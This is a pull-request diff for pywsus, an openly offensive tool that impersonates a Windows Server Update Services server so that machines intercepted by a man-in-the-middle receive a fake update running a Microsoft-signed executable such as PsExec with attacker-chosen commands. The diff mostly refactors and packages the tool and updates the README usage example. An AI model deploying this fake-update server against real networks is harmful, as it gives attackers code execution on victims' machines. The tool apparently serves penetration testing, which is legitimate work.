Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 16 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,27 +2,36 @@
The main goal of this tool is to be a standalone implementation of a legitimate WSUS server which sends malicious responses to clients. The MITM attack itself should be done using other dedicated tools, such as [Bettercap](https://github.com/bettercap/bettercap).

## Installation

### Using `pipx`
```
pipx install git+https://github.com/GoSecure/pywsus
```

### Using `virtualenv`
```
git clone https://github.com/GoSecure/pywsus
cd pywsus
virtualenv -p /usr/bin/python3 ./venv
source ./venv/bin/activate
pip install -r ./requirements.txt
python setup.py install
```

## Usage
```
Usage: pywsus.py [-h] -H HOST [-p PORT] -c COMMAND -e EXECUTABLE [-v]
usage: pywsus [-h] -H HOST [-p PORT] -e EXECUTABLE -c COMMAND [-v]

OPTIONS:
-h, --help show this help message and exit
-H HOST, --host HOST The listening adress.
-p PORT, --port PORT The listening port.
-c COMMAND, --command COMMAND
The parameters for the current payload
-e EXECUTABLE, --executable EXECUTABLE
The executable to returned to the victim. It has to be signed by Microsoft--e.g., psexec
-v, --verbose increase output verbosity.
The Microsoft signed executable returned to the client.
-c COMMAND, --command COMMAND
The parameters for the current executable.
-v, --verbose Increase output verbosity.

Example: python pywsus.py -c '/accepteula /s calc.exe' -e PsExec64.exe
Example: python pywsus.py -H X.X.X.X -p 8530 -e PsExec64.exe -c "-accepteula -s calc.exe"
```

## Mitigations
Expand Down
38 changes: 24 additions & 14 deletions pywsus.py → pywsus/pywsus.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
from http.server import BaseHTTPRequestHandler, HTTPServer
from bs4 import BeautifulSoup
from random import randint
from functools import partial
import uuid
import html
import datetime
Expand Down Expand Up @@ -71,7 +72,7 @@ def set_resources_xml(self, command):

with open('{}/resources/get-extended-update-info.xml'.format(path), 'r') as file:
self.get_extended_update_info_xml = file.read().format(revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1], sha1=self.sha1, sha256=self.sha256,
filename=self.executable_name, file_size=len(executable_file), command=html.escape(html.escape(command)),
filename=self.executable_name, file_size=len(self.executable), command=html.escape(html.escape(command)),
url='http://{host}/{path}/{executable}'.format(host=self.client_address, path=uuid.uuid4(), executable=self.executable_name))
file.close()

Expand Down Expand Up @@ -107,6 +108,10 @@ def __str__(self):


class WSUSBaseServer(BaseHTTPRequestHandler):
def __init__(self, update_handler, *args, **kwargs):
self.update_handler = update_handler
super().__init__(*args, **kwargs)

def _set_response(self, serveEXE=False):

self.protocol_version = 'HTTP/1.1'
Expand All @@ -117,7 +122,7 @@ def _set_response(self, serveEXE=False):

if serveEXE:
self.send_header('Content-Type', 'application/octet-stream')
self.send_header("Content-Length", len(update_handler.executable))
self.send_header("Content-Length", len(self.update_handler.executable))
else:
self.send_header('Content-type', 'text/xml; chartset=utf-8')

Expand All @@ -140,7 +145,7 @@ def do_GET(self):
logging.info("Requested: {path}".format(path=self.path))

self._set_response(True)
self.wfile.write(update_handler.executable)
self.wfile.write(self.update_handler.executable)

def do_POST(self):

Expand All @@ -156,27 +161,27 @@ def do_POST(self):

if soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/b76899b4-ad55-427d-a748-2ecf0829412b
data = BeautifulSoup(update_handler.get_config_xml, 'xml')
data = BeautifulSoup(self.update_handler.get_config_xml, 'xml')

elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/36a5d99a-a3ca-439d-bcc5-7325ff6b91e2
data = BeautifulSoup(update_handler.get_cookie_xml, "xml")
data = BeautifulSoup(self.update_handler.get_cookie_xml, "xml")

elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/RegisterComputer"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/b0f2a41f-4b96-42a5-b84f-351396293033
data = BeautifulSoup(update_handler.register_computer_xml, "xml")
data = BeautifulSoup(self.update_handler.register_computer_xml, "xml")

elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/6b654980-ae63-4b0d-9fae-2abb516af894
data = BeautifulSoup(update_handler.sync_updates_xml, "xml")
data = BeautifulSoup(self.update_handler.sync_updates_xml, "xml")

elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/862adc30-a9be-4ef7-954c-13934d8c1c77
data = BeautifulSoup(update_handler.get_extended_update_info_xml, "xml")
data = BeautifulSoup(self.update_handler.get_extended_update_info_xml, "xml")

elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/da9f0561-1e57-4886-ad05-57696ec26a78
data = BeautifulSoup(update_handler.report_event_batch_xml, "xml")
data = BeautifulSoup(self.update_handler.report_event_batch_xml, "xml")

post_data_report = BeautifulSoup(post_data, "xml")
logging.info('Client Report: {targetID}, {computerBrand}, {computerModel}, {extendedData}.'.format(targetID=post_data_report.TargetID.text,
Expand All @@ -186,7 +191,7 @@ def do_POST(self):

elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/44767c55-1e41-4589-aa01-b306e0134744
data = BeautifulSoup(update_handler.get_authorization_cookie_xml, "xml")
data = BeautifulSoup(self.update_handler.get_authorization_cookie_xml, "xml")

else:
logging.warning("SOAP Action not handled")
Expand All @@ -204,9 +209,10 @@ def do_POST(self):
logging.warning("POST Response without data.")


def run(host, port, server_class=HTTPServer, handler_class=WSUSBaseServer):
def run(host, port, update_handler, server_class=HTTPServer, handler_class=WSUSBaseServer):
server_address = (host, port)
httpd = server_class(server_address, handler_class)
http_handler = partial(handler_class, update_handler)
httpd = server_class(server_address, http_handler)

logging.info('Starting httpd...\n')

Expand All @@ -233,7 +239,7 @@ def parse_args():
return parser.parse_args()


if __name__ == '__main__':
def main():
args = parse_args()

if args.verbose:
Expand All @@ -252,4 +258,8 @@ def parse_args():

logging.info(update_handler)

run(host=args.host, port=args.port)
run(host=args.host, port=args.port, update_handler=update_handler)


if __name__ == '__main__':
main()
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
2 changes: 1 addition & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
beautifulsoup4==4.9.1
lxml==4.6.2
lxml==4.9.1
soupsieve==2.0.1
14 changes: 14 additions & 0 deletions setup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
#!/usr/bin/env python3
from setuptools import setup

with open("requirements.txt", encoding="utf-8") as f:
requirements = f.read().splitlines()

setup(
name="PyWSUS",
author="Julien Pineault (GoSecure)",
license="MIT",
install_requires=requirements,
package_data={"pywsus": ["resources/*.xml"]},
entry_points={"console_scripts": ["pywsus=pywsus.pywsus:main"]},
)